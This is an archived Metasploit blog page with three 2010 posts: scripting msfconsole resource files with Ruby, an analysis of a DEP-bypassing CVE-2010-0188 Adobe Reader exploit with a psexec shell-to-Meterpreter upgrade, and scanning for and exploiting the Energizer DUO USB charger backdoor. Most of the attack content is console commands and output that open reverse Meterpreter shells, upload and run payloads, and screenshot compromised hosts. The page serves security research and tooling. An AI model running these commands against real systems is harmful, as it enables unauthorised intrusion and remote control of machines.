Skip navigation
All Places > Metasploit > Blog > 2010 > March
2010

Originally Posted by hdm

 

 

The Metasploit Console (msfconsole) has supported the concept of resource files for quite some time. A resource file is essentially a batch script for Metasploit; using these files you can automate common tasks. If you create a resource script called ~/.msf3/msfconsole.rc, it will automatically load each time you start the msfconsole interface. This is a great way to automatically connect to a database and set common parameters (setg PAYLOAD, etc). Until this morning, however, resource scripts were limited to simple console commands.

 

As of revision r8876, blocks of Ruby code can now be directly inserted into the resource scripts. This turns resource scripts into a generic automation platform for the Metasploit Framework.

 

In this example, the resource script configures a multi/handler instance to run in the background, and then automatically screenshots and closes incoming sessions. The full power of the Metasploit API is available within the  code blocks, so the sky is the limit in terms of what can be accomplished. Changing the example to nmap the target or install a persistent agent would be trivial and all normal console commands are still available within the  code block (run_single("help")).

 

 

$ ./msfconsole -r documentation/msfconsole_rc_ruby_example.rc
                _                  _       _ _
               | |                | |     (_) |
_ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|


       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 542 exploits - 295 auxiliary
+ -- --=[ 198 payloads - 23 encoders - 8 nops
       =[ svn r8873 updated today (2010.03.22)

resource (documentation/msfconsole_rc_ruby_example.rc)> use exploit/multi/handler
resource (documentation/msfconsole_rc_ruby_example.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
resource (documentation/msfconsole_rc_ruby_example.rc)> set LPORT 4444
resource (documentation/msfconsole_rc_ruby_example.rc)> set LHOST 192.168.0.228
resource (documentation/msfconsole_rc_ruby_example.rc)> set ExitOnSession false

resource (documentation/msfconsole_rc_ruby_example.rc)> exploit -j
[*] Exploit running as background job.
[*] resource (documentation/msfconsole_rc_ruby_example.rc)> Ruby Code (589 bytes)
[*] [2010.03.22-09:19:38] Started reverse handler on 192.168.0.228:4444
[*] [2010.03.22-09:19:38] Starting the payload handler...

[*] Waiting on an incoming sessions...
[*] [2010.03.22-09:19:40] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.0.228:4444 -> 192.168.0.138:16660)
[*] Session 1 192.168.0.138 active, but not yet configured
[*] Screenshotting session 1 192.168.0.138...
Screenshot saved to: /home/projects/metasploit/framework3/trunk/192.168.0.138_1.jpg
[*] Closing session 1 192.168.0.138...
[*] Meterpreter session 1 closed.

Originally Posted by jduck

 

 

On March 12th and 13th, a researcher named "villy" posted a couple of blogs relating to an exploit for CVE-2010-0188. On the 15th, I ported that exploit (python) over to Metasploit (ruby), which you can find here, in the module browser. Doing so is often rather straight forward, and in this particular case was no different. However, once I finished porting and moved into testing I noticed something odd... This exploit worked flawlessly against Adobe Reader 9.3 despite DEP being enabled. (For those who didn't know, Adobe Reader 9 enables DEP "permanently".) After I checked to make sure that DEP was indeed enabled (it was), I proceeded to try to figure out why this exploit worked.

 

The TIFF contents seemed rather blob-ish, which was suspicious to me. A bit of digging on the vulnerability revealed it was a stack-based buffer overflow which was eerily similar to CVE-2006-3547. I figured there must be something in the TIFF contents that was disabling DEP in some way. The first thing I tried was to turn the blob into an array of 32-bit little endian integers. This was pretty easily accomplished as you can see in an excerpt here:


irb> blob.unpack("V*").each { |dw| puts "0x%x" % dw }
...
0x70072f7
0x10104
0x70015bb
0x1000
...

On a gut feeling, I changed the payload to begin with a breakpoint and checked 0x70072f7 to see if it was mapped. Indeed it was, and it pointed to a "pop eax / ret" instruction sequence. Then I proceeded to put a breakpoint at 0x70072f7 to see how things progressed from there. What I found was that several function tails were being used to create a hunk memory of that was not protected by DEP. After this was created, a bit more ROP (return oriented proramming) was used to accomplish a "memcpy" of a small loader stub to this memory and execute it.

 

You might be asking yourself, "Great, but why do we care?" ... Well, AFAIK (feel free to comment), this is the first public exploit that uses multiple tail chunks to completely bypass permanent DEP. It certainly gives me a bit of chill to see this coming from a maliciously circulating document...

 

Upgrading Command Shell Sessions

 

For part two of this post, I wanted to highlight a little feature I added recently in response to a rather old ticket (#394). As of Revision 8088, it is now possible to turn existing Windows Command Shell sessions into full-blown Meterpreter sessions. This is all made possible by several recent advances in the framework, a large part of which was the CmdStager contributed by bannedit. You can see this functionality in action here:


msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set
...
LHOST       10.13.37.2
LPORT       1337
PAYLOAD     windows/shell_reverse_tcp
RHOST       10.13.37.102

msf exploit(psexec) > exploit -z
...
[*] Command shell session 1 opened (10.13.37.2:1337 -> 10.13.37.102:1057)
...
[*] Session 1 created in the background.
msf exploit(psexec) > sessions -l
...
1   shell  Microsoft Windows 2000 [Version 5.00.2195]  10.13.37.2:1337 -> 10.13.37.102:1057
...
msf exploit(psexec) > sessions -u 1

[*] Started reverse handler on 10.13.37.2:1337
[*] Starting the payload handler...
[*] Command Stager progress - 3.16% done (1694/53587 bytes)
[*] Command Stager progress - 6.32% done (3388/53587 bytes)
[*] Command Stager progress - 9.48% done (5082/53587 bytes)
[*] Command Stager progress - 12.64% done (6776/53587 bytes)
[*] Command Stager progress - 15.81% done (8470/53587 bytes)
[*] Command Stager progress - 18.97% done (10164/53587 bytes)
[*] Command Stager progress - 22.13% done (11858/53587 bytes)
[*] Command Stager progress - 25.29% done (13552/53587 bytes)
[*] Command Stager progress - 28.45% done (15246/53587 bytes)
[*] Command Stager progress - 31.61% done (16940/53587 bytes)
[*] Command Stager progress - 34.77% done (18634/53587 bytes)
[*] Command Stager progress - 37.93% done (20328/53587 bytes)
[*] Command Stager progress - 41.10% done (22022/53587 bytes)
[*] Command Stager progress - 44.26% done (23716/53587 bytes)
[*] Command Stager progress - 47.42% done (25410/53587 bytes)
[*] Command Stager progress - 50.58% done (27104/53587 bytes)
[*] Command Stager progress - 53.74% done (28798/53587 bytes)
[*] Command Stager progress - 56.90% done (30492/53587 bytes)
[*] Command Stager progress - 60.06% done (32186/53587 bytes)
[*] Command Stager progress - 63.22% done (33880/53587 bytes)
[*] Command Stager progress - 66.39% done (35574/53587 bytes)
[*] Command Stager progress - 69.55% done (37268/53587 bytes)
[*] Command Stager progress - 72.71% done (38962/53587 bytes)
[*] Command Stager progress - 75.87% done (40656/53587 bytes)
[*] Command Stager progress - 79.03% done (42350/53587 bytes)
[*] Command Stager progress - 82.19% done (44044/53587 bytes)
[*] Command Stager progress - 85.35% done (45738/53587 bytes)
[*] Command Stager progress - 88.51% done (47432/53587 bytes)
[*] Command Stager progress - 91.68% done (49126/53587 bytes)
[*] Command Stager progress - 94.84% done (50820/53587 bytes)
[*] Command Stager progress - 97.99% done (52510/53587 bytes)
[*] Sending stage (748032 bytes)
msf exploit(psexec) > [*] Meterpreter session 2 opened (10.13.37.2:1337 -> 10.13.37.102:1058)

Originally Posted by hdm

 

 

The newsophere was abuzz this morning with the discovery that Energizer's "DUO" USB Battery Charger included a malicious backdoor in the accompanying software. This backdoor was only discovered after the product was discontinued, leading some to believe that it went through its entire lifecycle undetected. The good news is that the backdoor is relatively harmless; machines behind the corporate firewall, or those with a local firewall installed, should prevent access to the listener on port 7777. The backdoor makes no outbound connections and  uninstalling the USB Charger software package clears the system.

 

As of this afternoon, you can now use Metasploit to locate infected systems on the local network. After downloading a copy of Metasploit and updating it to revision 8749 or newer, the following commands can be used to scan the local network:

 

$ msfconsole
msf > use auxiliary/scanner/backdoor/energizer_duo_detect
msf auxiliary(energizer_duo_detect) > set RHOSTS 192.168.0.0/24
msf auxiliary(energizer_duo_detect) > set THREADS 256
msf auxiliary(energizer_duo_detect) > run

 

[*] 192.168.0.132:7777 FOUND: [["F", "AUTOEXEC.BAT"]...

 

To take things a step further and gain access to a system running this backdoor, use the energizer_duo_payload module:

 

msf > use exploit/windows/backdoor/energizer_duo_payload
msf exploit(energizer_duo_payload) > set RHOST 192.168.0.132
msf exploit(energizer_duo_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(energizer_duo_payload) > set LHOST 192.168.0.228
msf exploit(energizer_duo_payload) > exploit

 

[*] Started reverse handler on 192.168.0.228:4444
[*] Trying to upload C:\NTL0ZTL4DhVL.exe...
[*] Trying to execute C:\NTL0ZTL4DhVL.exe...
[*] Sending stage (747008 bytes)
[*] Meterpreter session 1 opened (192.168.0.228:4444 -> 192.168.0.132:1200)

 

meterpreter > getuid
Server username: XPDEV\Developer

 

A copy of the malware can be obtained from the Wayback Machine

Filter Blog

By date: By tag: